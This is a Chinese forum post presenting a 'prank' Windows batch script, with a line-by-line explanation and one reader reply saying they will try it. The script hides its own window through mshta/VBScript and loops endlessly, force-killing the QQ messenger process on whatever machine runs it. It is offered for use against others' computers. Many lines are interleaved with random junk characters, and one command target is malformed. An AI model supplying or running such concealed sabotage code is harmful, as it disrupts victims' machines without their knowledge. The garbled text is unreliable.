一款小恶作剧代码 详解

sunhaiyan

功能：运行以后机器上的QQ就不能运行了。终结方法是：打开任务管理器，然后结束进程cmd.exe就可以了。
( B, V$ n& ^& G新建文本文档，然后将下面代码复制进去，然后重命名为a.bat，然后双击就可以了。
8 X( c; M* l" z+ D7 J  t
@echo off
0 a' M6 P& W' W1 @4 Qif "%1" == "h" goto begin
6 ~  t7 k! _, h3 a( Rmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
" I0 D4 O+ w; R( g& ptasklist |find /i "QQ.exe"
& K" ^, A5 n5 H) e2 I* p2 g( Aif %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
1 @5 }; B1 {6 e, `$ D; [5 i$ igoto begin
% v, @% W; R3 a
代码到此为止
讲解如下：
! S) I8 J1 K9 l  W5 v0 U@echo off －－－－－－关闭回显
if "%1" == "h" goto begin －－如果文件运行时有参数h，则显示窗口运行，否则只是在后台运行
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit －－－－－隐藏窗口代码
  @1 x& K! Z& t+ x) \  Y& f8 |:begin －－－－－－－－－－－－定一段名begin
( G; d$ k7 _3 w/ ftasklist |find /i "QQ.exe" －－－－在任务管理器里寻找进程QQ.exe
+ f8 J$ @, r# |' Q. t- t/ x. s- O; v; Hif %errorlevel%==0 (goto killit) else (goto next)－－－如果存在QQ.exe.则跳转执行killit,否则执行next
; q8 \7 @4 R# M( M3 S:killit
+ ?& j9 o; E1 D9 ~. J& v$ ]0 @taskkill /f /im QQ.exe－－－－终结进程QQ.exe
' e3 U# I/ q4 F6 m:next
: ?  g% J- n0 {% V4 Zping -n 3 127.t >nul 2>nul －－－－－延迟一段时间
8 D' Y+ ]6 |0 |8 q" ~2 Z) X3 Zgoto begin－－－－－－－－－－－－－－返回执行begin
- s% b: D- [$ x  v/ W' [9 b

离殇易

有意思= =我去试试